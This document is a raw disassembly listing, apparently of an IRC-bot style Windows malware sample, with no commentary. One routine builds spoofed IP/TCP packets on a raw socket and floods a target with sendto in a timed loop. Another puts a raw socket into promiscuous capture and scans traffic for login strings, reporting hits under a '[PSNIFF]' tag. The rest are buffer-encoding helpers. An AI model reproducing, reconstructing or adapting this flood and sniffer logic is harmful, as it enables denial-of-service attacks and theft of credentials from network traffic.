sub_401B7D	proc near		; CODE XREF: sub_40182F+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_408947
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_413D7F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_413D7F
		mov	edi, eax
		call	sub_41386E
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CB
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC8
		push	1
		pop	eax


loc_401BC8:				; CODE XREF: sub_401B7D+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BD7	proc near		; DATA XREF: sub_40CC09+28D5o

var_340		= byte ptr -340h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 340h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_41F044
		call	edi	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_44CD58	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401CA0
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_340]
		push	offset unk_4213F8
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401C80
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_401C80:				; CODE XREF: sub_401BD7+84j
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_401CA0:				; CODE XREF: sub_401BD7+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_44CCBC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1E
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_340]
		push	offset unk_4213B0
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401CFE
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_401CFE:				; CODE XREF: sub_401BD7+102j
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_401D1E:				; CODE XREF: sub_401BD7+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8E
		lea	eax, [ebp+var_340]
		push	offset unk_421380
		push	eax
		call	sub_413812
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6E
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_401D6E:				; CODE XREF: sub_401BD7+172j
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_401D8E:				; CODE XREF: sub_401BD7+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_401DC6:				; CODE XREF: sub_401BD7+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_40208A
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_44CCDC	; ntohs
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401E39
		call	sub_41386E
		mov	esi, eax
		shl	esi, 8
		call	sub_41386E
		add	esi, eax
		shl	esi, 8
		call	sub_41386E
		add	esi, eax
		shl	esi, 8
		call	sub_41386E
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401E4F
; ---------------------------------------------------------------------------


loc_401E39:				; CODE XREF: sub_401BD7+233j
		push	[ebp+var_240]
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		mov	[ebp+var_20], eax


loc_401E4F:				; CODE XREF: sub_401BD7+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_401E6D
		call	sub_41386E
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E73
; ---------------------------------------------------------------------------


loc_401E6D:				; CODE XREF: sub_401BD7+284j
		push	[ebp+var_B8]


loc_401E73:				; CODE XREF: sub_401BD7+294j
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_16], ax
		call	sub_41386E
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_44CCDC	; ntohs
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_44CCD8	; ntohl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset off_42137C
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_401F1F
; ---------------------------------------------------------------------------


loc_401EC3:				; CODE XREF: sub_401BD7+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset off_421378
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_401F1F
; ---------------------------------------------------------------------------


loc_401EE3:				; CODE XREF: sub_401BD7+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1F
		call	sub_41386E
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41386E
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_401F1F:				; CODE XREF: sub_401BD7+2EAj
					; sub_401BD7+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4138F0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_44CD3C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200C
		inc	[ebp+arg_0]
		jmp	loc_401DC6
; ---------------------------------------------------------------------------


loc_40200C:				; CODE XREF: sub_401BD7+42Bj
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_421310
		lea	eax, [ebp+var_340]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40206A
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_40206A:				; CODE XREF: sub_401BD7+46Ej
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_40208A:				; CODE XREF: sub_401BD7+203j
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_340]
		push	offset unk_4212B0
		push	eax
		call	sub_413812
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4020FB
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_4020FB:				; CODE XREF: sub_401BD7+4FFj
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:off_41F040
sub_401BD7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40211B	proc near		; DATA XREF: sub_40CC09+1B64o

var_101B4	= byte ptr -101B4h
var_101AB	= byte ptr -101ABh
var_101A8	= dword	ptr -101A8h
var_101A0	= dword	ptr -101A0h
var_10193	= byte ptr -10193h
var_1018C	= byte ptr -1018Ch
var_1B4		= byte ptr -1B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_A0		= dword	ptr  0A8h

		push	ebp
		mov	ebp, esp


loc_40211E:				; DATA XREF: .data:off_42D554o
		mov	eax, 101B4h
		call	sub_413E60
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_44CCDC	; ntohs
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4021F0
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B4]
		push	offset unk_421DDC
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4021D3
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_4021D3:				; CODE XREF: sub_40211B+96j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:off_41F040


loc_4021F0:				; CODE XREF: sub_40211B+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 134h
		mov	dword_452134[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_44CD08	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402275
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B4]
		push	offset unk_421D98
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402251
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_402251:				; CODE XREF: sub_40211B+114j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	ds:off_41F040


loc_402275:				; CODE XREF: sub_40211B+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_44CC8C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4022F8
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B4]
		push	offset unk_421D50
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4022D4
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_4022D4:				; CODE XREF: sub_40211B+197j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	ds:off_41F040


loc_4022F8:				; CODE XREF: sub_40211B+177j
		push	ebx
		mov	ebx, offset a_login ; ":.login"


loc_4022FE:				; CODE XREF: sub_40211B+21Bj
					; sub_40211B+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_101B4]
		push	edi
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_101B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_44CCF4	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_402410
		cmp	[ebp+var_101AB], 6
		jnz	short loc_4022FE
		mov	eax, [ebp+var_101A8]
		cmp	[ebp+var_10193], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_4022FE
		lea	eax, [ebp+var_1018C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022FE
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_4022FE
		mov	[ebp+arg_0], ebx


loc_40236C:				; CODE XREF: sub_40211B+26Cj
		push	eax
		lea	eax, [ebp+var_1018C]
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40238E
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_40236C
		jmp	loc_4022FE
; ---------------------------------------------------------------------------


loc_40238E:				; CODE XREF: sub_40211B+262j
		lea	eax, [ebp+var_1018C]
		push	eax
		push	[ebp+var_101A0]
		call	dword_44CC28	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_421464[eax*8]
		push	off_421440[eax*4]
		lea	eax, [ebp+var_1B4]
		push	offset unk_421D00
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4023FE
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_4023FE:				; CODE XREF: sub_40211B+2C1j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		pop	ecx
		jmp	loc_4022FE
; ---------------------------------------------------------------------------


loc_402410:				; CODE XREF: sub_40211B+20Ej
		call	dword_44CC78	; WSAGetLastError
		push	eax
		push	offset unk_421CBC
		lea	eax, [ebp+var_1B4]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_402456
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_402456:				; CODE XREF: sub_40211B+319j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	ds:off_41F040
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+8+arg_0]
		sub	esp, 0BCh
		mov	[esp+0C4h+arg_A0], 8Bh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402F48
		push	2Fh
		lea	esi, [esp+0C8h+arg_0]
		pop	ecx
		mov	[esp+0C4h+arg_A0], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_402F48
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_4024CE
		test	eax, eax
		jz	short loc_4024D1


loc_4024CE:				; CODE XREF: sub_40211B+3ADj
		push	1
		pop	eax


loc_4024D1:				; CODE XREF: sub_40211B+3B1j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40211B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024D5	proc near		; CODE XREF: sub_402749+Ep
					; sub_402749+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_4024D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024DF	proc near		; CODE XREF: sub_402749+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_413F0B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_402511
		push	ebx
		push	0
		push	edi
		call	sub_413890
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4138F0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_402511:				; CODE XREF: sub_4024DF+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4024DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402519	proc near		; CODE XREF: sub_402613+18p
					; sub_40268D+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_402565
		push	edi
		push	0
		push	esi
		call	sub_413890
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4138F0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4138F0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_402565:				; CODE XREF: sub_402519+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_402519	endp


; =============== S U B	R O U T	I N E =======================================



sub_40256E	proc near		; CODE XREF: sub_402613+5Ep
					; sub_402613+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40257E
		push	eax
		call	sub_413F7F
		pop	ecx


loc_40257E:				; CODE XREF: sub_40256E+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40256E	endp


; =============== S U B	R O U T	I N E =======================================



sub_402587	proc near		; CODE XREF: sub_402613+20p
					; sub_4026EE+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4025B4
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_413F0B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4025B8


loc_4025B4:				; CODE XREF: sub_402587+Dj
		xor	al, al
		jmp	short loc_40260F
; ---------------------------------------------------------------------------


loc_4025B8:				; CODE XREF: sub_402587+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_413890
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_4025DD
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_4025F7
; ---------------------------------------------------------------------------


loc_4025DD:				; CODE XREF: sub_402587+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_4025F7:				; CODE XREF: sub_402587+54j
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_413F7F
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40260F:				; CODE XREF: sub_402587+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402613	proc near		; CODE XREF: sub_402749+89p
					; sub_402749+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_438A0C
		call	sub_402519
		lea	ecx, [ebp+var_8]
		call	sub_402587
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_413F0B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40264D
		xor	al, al
		jmp	short loc_402689
; ---------------------------------------------------------------------------


loc_40264D:				; CODE XREF: sub_402613+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_413890
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4138F0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40256E
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40256E
		mov	al, 1


loc_402689:				; CODE XREF: sub_402613+38j
		pop	edi
		pop	esi
		leave
		retn
sub_402613	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40268D	proc near		; CODE XREF: sub_4026C1+14p
					; sub_4026DE+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_402519
		mov	ecx, esi
		call	sub_40256E
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40268D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026C1	proc near		; CODE XREF: sub_402749+F0p
					; sub_402749+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_413E90
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40268D
		pop	esi
		retn	4
sub_4026C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026DE	proc near		; CODE XREF: sub_40272A+Bp
					; sub_402749+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40268D
		retn	8
sub_4026DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026EE	proc near		; CODE XREF: sub_40272A+16p
					; sub_402749+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_402587
		test	al, al
		jz	short loc_402727
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_422190
		call	sub_402519
		mov	ecx, esi
		call	sub_40256E
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_402727:				; CODE XREF: sub_4026EE+Fj
		pop	esi
		leave
		retn
sub_4026EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40272A	proc near		; CODE XREF: sub_402749+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4026DE
		test	al, al
		jz	short loc_402745
		mov	ecx, esi
